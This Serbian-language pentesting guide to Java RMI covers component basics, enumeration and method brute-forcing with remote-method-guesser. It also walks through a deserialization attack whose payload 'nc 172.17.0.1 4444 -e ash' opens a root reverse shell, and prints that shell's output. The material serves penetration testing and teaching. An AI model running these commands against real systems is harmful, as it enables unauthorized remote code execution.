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# 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
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## Osnovne informacije
_Java Remote Method Invocation_, ili _Java RMI_, je objektnorijentisani _RPC_ mehanizam koji omogućava objektu smeštenom u jednoj _Java virtuelnoj mašini_ da poziva metode na objektu smeštenom u drugoj _Java virtuelnoj mašini_. Ovo omogućava programerima da pišu distribuirane aplikacije koristeći objektnorijentisanu paradigmu. Kratak uvod u _Java RMI_ iz ofanzivne perspektive može se naći u [ovom blackhat predavanju](https://youtu.be/t_aw1mDNhzI?t=202).
**Podrazumevani port:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
```
PORT STATE SERVICE VERSION
1090/tcp open ssl/java-rmi Java RMI
9010/tcp open java-rmi Java RMI
37471/tcp open java-rmi Java RMI
40259/tcp open ssl/java-rmi Java RMI
```
Obično su samo podrazumevani _Java RMI_ komponente (_RMI Registry_ i _Activation System_) vezani za uobičajene portove. _Remote objects_ koji implementiraju stvarnu _RMI_ aplikaciju obično su vezani za nasumične portove kao što je prikazano u gornjem izlazu.
_nmap_ ponekad ima problema sa identifikovanjem _SSL_ zaštićenih _RMI_ usluga. Ako naiđete na nepoznatu ssl uslugu na uobičajenom _RMI_ portu, trebate dalje istražiti.
## RMI Komponente
Jednostavno rečeno, _Java RMI_ omogućava programeru da učini _Java objekat_ dostupnim na mreži. Ovo otvara _TCP_ port na kojem se klijenti mogu povezati i pozvati metode na odgovarajućem objektu. Iako ovo zvuči jednostavno, postoji nekoliko izazova koje _Java RMI_ treba da reši:
1. Da bi poslali poziv metode putem _Java RMI_, klijenti treba da znaju IP adresu, port za slušanje, implementiranu klasu ili interfejs i `ObjID` ciljanog objekta ( `ObjID` je jedinstveni i nasumični identifikator koji se kreira kada objekat postane dostupan na mreži. Potreban je jer _Java RMI_ omogućava više objekata da slušaju na istom _TCP_ portu).
2. Daljinski klijenti mogu alocirati resurse na serveru pozivajući metode na izloženom objektu. _Java virtuelna mašina_ treba da prati koji od ovih resursa su još u upotrebi i koji od njih mogu biti prikupljeni kao smeće.
Prvi izazov rešava _RMI registry_, koji je u suštini servis za imenovanje za _Java RMI_. _RMI registry_ je takođe _RMI usluga_, ali je implementirani interfejs i `ObjID` fiksni i poznati svim _RMI_ klijentima. Ovo omogućava _RMI_ klijentima da koriste _RMI_ registry samo znajući odgovarajući _TCP_ port.
Kada programeri žele da učine svoje _Java objekte_ dostupnim unutar mreže, obično ih vezuju za _RMI registry_. _Registry_ čuva sve informacije potrebne za povezivanje sa objektom (IP adresa, port za slušanje, implementirana klasa ili interfejs i vrednost `ObjID`) i čini ih dostupnim pod ljudski čitljivim imenom ( _bound name_). Klijenti koji žele da koriste _RMI uslugu_ traže od _RMI registry_ odgovarajuće _bound name_ i registry vraća sve potrebne informacije za povezivanje. Tako je situacija u suštini ista kao sa običnom _DNS_ uslugom. Sledeći spisak prikazuje mali primer:
```java
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;
public class ExampleClient {
private static final String remoteHost = "172.17.0.2";
private static final String boundName = "remote-service";
public static void main(String[] args)
{
try {
Registry registry = LocateRegistry.getRegistry(remoteHost); // Connect to the RMI registry
RemoteService ref = (RemoteService)registry.lookup(boundName); // Lookup the desired bound name
String response = ref.remoteMethod(); // Call a remote method
} catch( Exception e) {
e.printStackTrace();
}
}
}
```
Drugi od gore pomenutih izazova rešava _Distributed Garbage Collector_ (_DGC_). Ovo je još jedna _RMI service_ sa poznatom `ObjID` vrednošću i dostupna je na praktično svakom _RMI endpointu_. Kada _RMI client_ počne da koristi _RMI service_, šalje informaciju _DGC_-u da je odgovarajući _remote object_ u upotrebi. _DGC_ može pratiti broj referenci i sposobna je da očisti neiskorišćene objekte.
Zajedno sa zastarelim _Activation System_, ovo su tri podrazumevana komponenta _Java RMI_:
1. _RMI Registry_ (`ObjID = 0`)
2. _Activation System_ (`ObjID = 1`)
3. _Distributed Garbage Collector_ (`ObjID = 2`)
Podrazumevane komponente _Java RMI_ su poznati vektori napada već neko vreme i više ranjivosti postoje u zastarelim verzijama _Java_. Sa stanovišta napadača, ove podrazumevane komponente su zanimljive, jer implementiraju poznate klase / interfejse i lako je moguće interagovati sa njima. Ova situacija je drugačija za prilagođene _RMI services_. Da biste pozvali metodu na _remote object_, morate unapred znati odgovarajući potpis metode. Bez poznavanja postojećeg potpisa metode, ne postoji način da komunicirate sa _RMI service_.
## RMI Enumeration
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) je _Java RMI_ skener ranjivosti koji je sposoban da automatski identifikuje uobičajene _RMI vulnerabilities_. Kada identifikujete _RMI_ endpoint, trebali biste to isprobati:
```
$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] - legacy-service
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] - plain-server
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] - [http://iinsecure.dev/well-hidden-development-folder/](http://iinsecure.dev/well-hidden-development-folder/)
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] - Caught ClassNotFoundException during lookup call.
[+] --> The type java.lang.String is unmarshalled via readObject().
[+] Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] - Caught MalformedURLException during lookup call.
[+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] - Caught NotBoundException during unbind call (unbind was accepeted).
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] - Security Manager rejected access to the class loader.
[+] --> The server does use a Security Manager.
[+] Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] - Caught IllegalArgumentException after sending An Trinh gadget.
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] - Caught IllegalArgumentException during activate call (activator is present).
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
[+] --> Client codebase enabled - Configuration Status: Non Default
```
Izlaz akcije enumeracije je objašnjen detaljnije na [stranicama dokumentacije](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) projekta. U zavisnosti od ishoda, trebali biste pokušati da verifikujete identifikovane ranjivosti.
Vrednosti `ObjID` koje prikazuje _remote-method-guesser_ mogu se koristiti za određivanje vremena rada usluge. Ovo može omogućiti identifikaciju drugih ranjivosti:
```
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: -4004948013687638236
[+] UID:
[+] Unique: 1442798173
[+] Time: 1640761503828 (Dec 29,2021 08:05)
[+] Count: -32760
```
## Bruteforcing Remote Methods
Čak i kada nisu identifikovane ranjivosti tokom enumeracije, dostupne _RMI_ usluge i dalje mogu izložiti opasne funkcije. Štaviše, iako je _RMI_ komunikacija sa _RMI_ podrazumevanim komponentama zaštićena filtrima za deserializaciju, kada se razgovara sa prilagođenim _RMI_ uslugama, takvi filteri obično nisu prisutni. Poznavanje validnih potpisa metoda na _RMI_ uslugama je stoga dragoceno.
Nažalost, _Java RMI_ ne podržava enumeraciju metoda na _daljinskim objektima_. Ipak, moguće je bruteforcovati potpise metoda pomoću alata kao što su [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) ili [rmiscout](https://github.com/BishopFox/rmiscout):
```
$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] MethodGuesser is running:
[+] --------------------------------
[+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists!
[+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] [6562 / 6562] [#####################################] 100%
[+] done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] - plain-server2 == plain-server
[+] --> String execute(String dummy)
[+] --> String system(String dummy, String[] dummy2)
[+] - legacy-service
[+] --> void logMessage(int dummy1, String dummy2)
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] --> String login(java.util.HashMap dummy1)
```
Identifikovane metode mogu se pozvati na sledeći način:
```
$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)
```
Ili možete izvesti napade deserializacije na sledeći način:
```
$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] Using non primitive argument type java.lang.String on position 0
[+] Specified method signature is String execute(String dummy)
[+]
[+] Caught ClassNotFoundException during deserialization attack.
[+] Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] Deserialization attack probably worked :)
$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)
```
Više informacija može se naći u ovim člancima:
- [Attacking Java RMI services after JEP 290](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/)
- [Method Guessing](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md)
- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
- [rmiscout](https://bishopfox.com/blog/rmiscout)
Osim pogađanja, trebali biste takođe potražiti u pretraživačima ili _GitHub_-u za interfejs ili čak implementaciju susretnutog _RMI_ servisa. _Bound name_ i naziv implementirane klase ili interfejsa mogu biti od pomoći ovde.
## Poznati Interfejsi
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) označava klase ili interfejse kao `known` ako su navedeni u internom bazi podataka alata o poznatim _RMI servisima_. U tim slučajevima možete koristiti `known` akciju da dobijete više informacija o odgovarajućem _RMI servisu_:
```
$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] - jmxrmi
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] Endpoint: localhost:41695 TLS: no ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]
$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] JMX Server
[+]
[+] Class Name:
[+] - javax.management.remote.rmi.RMIServerImpl_Stub
[+] - javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] - String getVersion()
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] - [https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html)
[+] - [https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi](https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi)
[+]
[+] Vulnerabilities:
[+]
[+] -----------------------------------
[+] Name:
[+] MLet
[+]
[+] Description:
[+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] is therefore most of the time equivalent to remote code execution.
[+]
[+] References:
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
[+]
[+] -----------------------------------
[+] Name:
[+] Deserialization
[+]
[+] Description:
[+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] References:
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
```
## Shodan
- `port:1099 java`
## Tools
- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
- [rmiscout](https://github.com/BishopFox/rmiscout)
- [BaRMIe](https://github.com/NickstaDB/BaRMIe)
## References
- [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
## HackTricks Automatske Komande
```
Protocol_Name: Java RMI #Protocol Abbreviation if there is one.
Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation #Protocol Abbreviation Spelled out
Entry_1:
Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}
```
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